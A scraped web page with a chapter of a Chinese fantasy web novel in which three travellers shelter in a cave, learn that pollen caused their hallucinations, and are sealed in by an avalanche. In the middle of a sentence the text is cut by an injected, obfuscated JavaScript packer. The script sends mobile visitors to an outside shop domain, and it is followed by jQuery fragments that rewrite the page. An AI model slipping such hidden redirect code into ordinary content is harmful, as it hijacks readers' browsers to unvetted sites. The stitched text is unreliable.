文趣网 > 其他小说 > 过山引魂 > 35. 夜深梦,被堵山洞
    火花噼里啪啦的声音在山洞中炸响。

    他们看到宋引山神色似有动容。

    沉默良久后,她才微微启唇:“你父亲是从哪里知道这把剑的?又是在何处寻来的?”

    司阳:“是一个老道士告诉他的,至于从哪里寻来,我也不知。”

    司阳觉得宋引山对这把剑有一种别样的感情,每次看剑的眼神都格外温柔和珍惜,像是在看一件珍宝。

    “既然如此,这剑你就拿着吧,以后给它打一个好看的刀鞘,现在这个太丑了。”宋引山说着,把石头上的草药碎捧在手里走到司阳面前,一把把药敷在他的脚踝上,“还有,我给它取了个名字,叫镇山骨,你以后叫它这个名字。”

    “嘶——”司阳痛的冷汗直冒,硬是一声不敢吭,还答应宋引山,“好,以后就叫它镇山骨。”

    宋引山心中淡然一笑,腹诽道:这两人还真是说谎不打草稿,张口就来。

    若不是她清楚这剑的来历恐怕还真就被他们这副情真意切的模样给骗了。

    给司阳敷完药后她径直走向纪微生,一言不发开始给他脱衣服。

    纪微生红着脸连忙拦住她,“我自己来。”

    宋引山也不跟他废话,转身拿草药,回过身的时候纪微生已经把上衣掀开,趴在草堆上,露出背上三个血红血红的窟窿。

    宋引山面色不改,把草药给他敷上,再帮他把衣服盖上。

    转身的时候发现司阳定定地盯着自己,宋引山发问:“怎么?你背上也有伤口?”

    “没有没有。”司阳头摇的像拨浪鼓。

    他只有脚上的伤比较严重,背上的都是些小伤,不用脱衣服上药。

    宋引山见他拒绝,也不多说,走到火堆旁边坐下,过了一会儿她把自己的斗篷脱了下来,在火边烤了一会儿,然后起身走向纪微生,把他背上的湿衣服拿下来,把自己刚烤暖和的斗篷盖在他身上。

    宋引山在地上做了一个简易的支架,把纪微生的衣服放在上面,用火烘干。

    纪微生感受着背上的温暖,心中五味杂陈。

    这个宋引山,到底是个什么人?

    她看似单纯善良,对男女之事并不设防,也好像不懂什么人情世故,很随性洒脱,但她行事神秘,眼睛里也时常藏着他读不懂的心思。

    真是一个怪人。

    纪微生愣愣地看着宋引山的背影,思考着。

    突然察觉到旁边有一道锐利的目光朝他袭来,微微转头便看见司阳一脸哀怨地看着他。

    纪微生无辜摆手,无声道:“我没有。”

    司阳偏头不语。

    还说没开花,纪微生暗自腹诽。

    晚上他们随便吃了点别人落下的食物便各自靠在草堆上睡觉。

    宋引山将自己的斗篷取回,然后把纪微生已经烤干的衣服给他盖了上去。

    司阳眯着眼,侧身躺在草堆上悄悄地观察宋引山的一举一动。

    她个子小小的,可干什么都很有劲,也很利落,不像是从小娇生惯养的大家小姐,但她周身的气质又远非寻常人家可比,比他平日里见到的公侯小姐还要有气度。

    她的斗篷是白色的,里面穿的一身劲装也是白色,唯有腰间的腰带是黑色,突兀地缠在腰上,像是缠了一条蛇。

    即使是睡觉,她也没有把她身上的布袋解下来,就这样挂在身上。

    司阳眼看着她背对着自己躺在草堆上,把斗篷盖在自己身上,蜷缩成一团,渐渐的,她身体的起伏平稳,已然入睡。

    司阳看着看着,也迷迷糊糊地闭上了眼睛。

    不知过了多久,他感觉到眼前出现了一团白光,他很困,只能半睁着眼去寻找光源,可他不知道那光是从哪里发出的,四周明明黑漆漆的一片,时不时还有如鬼哭一般的风声在咆哮,如在地渊。

    司阳背后吹来一丝一丝的凉风,凉得他脖颈一缩,然后清醒过来,发现自己身处一座深山密林之中,脚下是一条狭小泥泞的小路,身后还跟着窸窸窣窣的脚步声。

    自己手里提着一盏白色的夜灯。

    他咬紧牙关,慢慢地回头。

    身后跟了一长串身穿盔甲的死人!他们全都吊着脑袋,眼神空洞,身上被戳满了血窟窿,隐隐可见血淋淋的内脏。

    司阳惊得一口凉风进肚,再一眨眼,所有的士兵瞳孔变成白色,举着手张嘴朝他撕咬而来。

    司阳被吓得叫了一声。。

    一只冰凉的手抓住了他胡乱挥舞的手。

    恍惚中,司阳看见梦中那个身影蹲在他面前,纤细熟悉却看不清容貌。

    “怎么了?”那女子开口,司阳便清醒过来。

    问他的是宋引山。

    “没事儿,做了个恶梦。”

    司阳从草堆上起来,发现脚踝上的伤口居然好得差不多了,原本被撕裂开的伤口已经消失,脚踝处平整光滑,只有一点红痕,仿佛没受过伤一样。

    “这……”司阳觉得有些不可思议。

    明明昨天还那么严重,他甚至以为自己的腿要保不住了。

    司阳满怀疑问地看向宋引山。

    “出去看看就知道了。”宋引山道。

    经过一夜,大雪纷飞,外面仍旧白茫茫的一片,亮得有些刺眼。

    纪微生从不远处向他们走来,走近之后,他对着司阳苦笑了一下。

    司阳还是没懂是什么意思。

    “你看这半空中飘落的雪花,有没有觉得哪里不对?”纪微生问。

    “哪里不对?”司阳懵懂地伸手,接住了几片晶莹剔透的雪花,在掌心稍稍停顿,遇热之后便化作冰水。

    宋引山瞥了他一眼:“别一副伤春悲秋的样子,让你仔细看。”

    “哦,”司阳观察了半天,才发现不对劲,“这雪的颜色不对。”

    宋引山又指了指对面的古树,古树的树顶上零星分布着几簇绯红,定神看能看到有缥缈的绯红色花瓣飘落。

    “你们昨天在这里祭祀古树时待了不少时辰,古树花瓣里的花粉有致幻作用,你们吸了不少,才出现幻象,看见成群的白骨从地渊里爬出来,你们自己被花粉侵扰陷入幻境,跌跌撞撞地胡乱跑,差点跌下地渊,要不是我即时赶到,你们两个恐怕早就齐刷刷

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17871361|209200||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    见阎王爷去了。”

    “那你怎么没事?”

    “我昨天在路上耽搁了一会儿,到的比你们晚,没吸入多少花粉,再加上我随身携带的那些手串是由香木制成的,上面的味道对花粉能起抵御作用,自然就没事了。”

    这也就解释了为什么她的手串能逼退那些“白骨”。

    司阳如梦初醒,看向纪微生,两人相视一笑。

    “原来如此,看到了如此之多的骷髅,昨天给我和纪微生吓得不轻。”

    尤其是纪微生,平常一副泰山崩于前而面不改色的样子彻底被摧毁,看着他现在严肃认真的模样,司阳觉得更好笑了。

    纪微生没好气地瞪他一眼:“笑屁。”

    司阳大惊:“你竟然爆粗口?”

    宋引山懒得看他俩拌嘴,兀自进山洞去收拾东西。

    她重新把斗篷穿在身上,戴上帽子,用纱布遮住了自己的口鼻,只剩下一双眼睛露在外面。

    宋引山见状也从自己的衣服上撕下一块布料,蒙住口鼻。

    三人全副武装。

    轰——

    轰——

    唰——

    三声震响。

    地面一抖,从山洞外扑进成堆成堆的雪,如花瓣般在空中飘洒,扑面而来,原本明亮的山洞全然变黑,所有的光都被大雪堵在了外面。

    三脸懵圈。

    过了一会儿,外面没有再有所响动。

    司阳抹了把脸上的雪,往外走,看见了被死死堵住的洞口,拿剑戳了戳。

    剑身没入二尺,然后碰到了坚硬的石头。

    司阳用力一踢,这堵“雪墙”纹丝不动,头顶却发出了“咔嚓咔嚓”巨石松动的声响。

    “回来!”宋引山大声喊他。

    司阳也发觉情况不对,赶紧往里跑,从头顶上落下了小块小块的碎石,他护着头,跑到最里面。刚才跑过的地方一大块碎石落下,进而一发不可收拾,“轰隆”一声山洞顶上开始塌陷。

    “快跑!”三人撒腿往山洞里面跑,这个山洞是一个纵深的洞,他们昨晚选择的是中间段的位置休息,现在那个位置已经被石头掩埋了。

    三人跑了一会儿,后头的坍塌已经停止,回身一看,一堵新的“石墙”又堵在了他们面前。

    三个人都傻眼了。

    司阳咽了口水,才说:“外面山上似乎发生了雪崩,这山洞里结构不稳,连带着也发生了坍塌,把外面的出口堵住了。”

    他们现在随处的位置头顶的石头与外面的材质似有不同,才没有被牵连。

    山洞里黑得看不见人影,只能凭借说话声判断对方在什么位置。

    “现在怎么办?”司阳发问。

    “如果这是出去的唯一通道,我们就只能靠手中的两把剑挖出去。”纪微生严肃且认真。

    “那得挖到猴年马月?而且还有再次坍塌的危险。”他们刚才往里面跑了得有一里地了那么远,外面全是冰冷的石头,把出口堵得死死的。

    司阳睁着眼睛在黑暗之中观察。

    “找找有没有其他的出口。”纪微生答道。